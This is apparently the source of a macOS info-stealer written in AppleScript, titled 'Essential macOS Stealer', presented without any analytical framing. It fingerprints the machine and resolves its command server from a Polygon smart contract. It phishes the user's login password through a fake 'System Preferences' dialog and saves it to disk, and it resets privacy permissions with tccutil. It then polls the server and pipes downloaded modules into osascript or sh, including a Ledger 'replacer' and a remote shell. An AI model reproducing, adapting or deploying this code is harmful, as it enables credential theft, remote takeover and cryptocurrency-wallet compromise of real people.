Essential macOS Stealer - script.sh

1
property c2URL : ""
2
property token : "7dc957c3cfcbf7bb79ff3b8f0f8288a9"
3

4
on getHardwareUUID()
5
    set cmds to {
6
         "ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}'",
7
         "ioreg -rd1 -c IOPlatformExpertDevice | grep -o 'IOPlatformUUID[^,]*' | cut -d'\"' -f4",
8
         "system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/{print $NF}'",
9
         "system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}'"
10
    }
11
    repeat with cmd in cmds
12
        try
13
            set hwUUID to do shell script cmd
14
            if length of hwUUID is 36 then
15
                if hwUUID contains "-" then
16
                    return hwUUID
17
                end if
18
            end if
19
        end try
20
    end repeat
21
end getHardwareUUID
22

23
on getLogonName()
24
    set cmds to { "whoami", "id -un", "echo $USER", "logname" }
25

26
    repeat with cmd in cmds
27
        try
28
            set username to do shell script cmd
29
            if username is not "" then return username
30
        end try
31
    end repeat
32
    return "administrator"
33
end getLogonName
34

35
on resolveC2FromContract()
36
    set rpcHosts to {"polygon.drpc.org", "polygon.publicnode.com", "polygon-mainnet.gateway.tatum.io", "tenderly.rpc.polygon.community"}
37

38
    set rpcPayload to "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0\",\"data\":\"0x2686ecea\"},\"latest\"],\"id\":1}"
39

40
    repeat with rpcHost in rpcHosts
41
    try
42
            set c2Host to do shell script ("
43
                r=$(curl -s --max-time 15 https://" & rpcHost & " -X POST -H 'Content-Type: application/json' --data '" & rpcPayload & "');
44
                h=$(echo \"$r\" | sed -n 's/.*result\":\"0x\\([^\"]*\\)\".*/\\1/p'); [ -z \"$h\" ]&& exit 1;
45
                l=$(printf \"%d\" \"0x${h:64:64}\"); echo \"${h:128:$((l*2))}\"|xxd -r -p"
46
            )
47

48
      if c2Host is not equal "" then
49
            set c2URLFull to "https://" & c2Host & "/"
50

51
            if response is "success" then
52
                set c2URL to c2URLFull
53
                return true
54
            end if
55
      end if
56
    end try
57
  end repeat
58
    return false
59
end resolveC2FromContract
60

61
on checkPassword(username, password)
62
    try
63
        set result to do shell script ("dscl . authonly " & quoted form of username & space & quoted form of password)
64
        if result is not equal to "" then
65
            return false
66
        else
67
            return true
68
        end if
69
    on error
70
        return false
71
    end try
72
end checkPassword
73

74
on promptForPassword(username)
75
    set passphrasePath to POSIX path of (path to home folder) & ".passphrase"
76
    if checkPassword(username, "") then
77
        do shell script ("echo nopassphrase > " & quoted form of passphrasePath)
78
        return true
79
    else
80
        repeat
81
            try
82
                set result to display dialog "To run the application you need to change the settings for its operation." & return & "Please enter password for continue:" default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
83
                set password to text returned of result
84
                if checkPassword(username, password) then
85
                    do shell script ("echo " & quoted form of password & " > " & quoted form of passphrasePath)
86
                    return true
87
                end if
88
            end try
89
        end repeat
90
    end if
91
end promptForPassword
92

93
on registerWithC2(hwUUID, username, txidArg)
94
    set connectCmd to "curl --connect-timeout 50 --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("uuid=" & hwUUID & "&username=" & username & "&txid=" & token & "&connect")
95
    set response to do shell script connectCmd
96

97
    if response is "newconnect" then
98
        set txidPath to POSIX path of (path to home folder) & ".txid"
99
        do shell script ("echo " & quoted form of token & " > " & quoted form of txidPath)
100
        do shell script "tccutil reset All"
101
        return true
102
    end if
103
    if response is "connected" then return true
104
    return false
105
end registerWithC2
106

107
on authenticateAndConnect(hwUUID, username)
108
    try
109
        set passphrasePath to POSIX path of (path to home folder) & ".passphrase"
110
        set storedPassphrase to do shell script ("cat " & quoted form of passphrasePath)
111
        if storedPassphrase is not "nopassphrase" then
112
            set passphrase to storedPassphrase
113
        else
114
            set passphrase to ""
115
        end if
116
        if checkPassword(username, passphrase) then
117
            if registerWithC2(hwUUID, username, token) then
118
                return true
119
            end if
120
        else
121
            promptForPassword(username)
122
            return false
123
        end if
124
    on error
125
        promptForPassword(username)
126
        return false
127
    end try
128
end authenticateAndConnect
129

130
set username to getLogonName()
131
set hwUUID to getHardwareUUID()
132

133
repeat
134
    try
135
        if resolveC2FromContract() then
136
            if authenticateAndConnect(hwUUID, username, token) then
137
                repeat
138
                    try
139
                        set taskCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("uuid=" & hwUUID & "&username=" & username & "&txid=" & token & "&task")
140
                        set taskResponse to do shell script taskCmd
141
                        if not (taskResponse contains "notasks") then
142
                            if taskResponse is "runloader" then
143
                                try
144
                                    set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("txid=" & token & "&smodule") & " | osascript"
145
                                    do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &")
146
                                end try
147
                            end if
148
                            if taskResponse is "runlight" then
149
                                try
150
                                    set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("txid=" & token & "&lmodule") & " | osascript"
151
                                    do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &")
152
                                end try
153
                            end if
154
                            if taskResponse is "replacer" then
155
                                try
156
                                    set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("txid=" & token & "&ledger") & " | sh"
157
                                    do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &")
158
                                end try
159
                            end if
160
                            if taskResponse is "openshell" then
161
                                try
162
                                    set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("uuid=" & hwUUID & "&username=" & username & "&txid=" & token & "&shell") & " | sh"
163
                                    do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &")
164
                                end try
165
                            end if
166
                        end if
167
                    on error
168
                        delay 60
169
                        exit repeat
170
                    end try
171
                    delay 60
172
                end repeat
173
            end if
174
        else
175
            delay 60
176
        end if
177
    end try
178
end repeat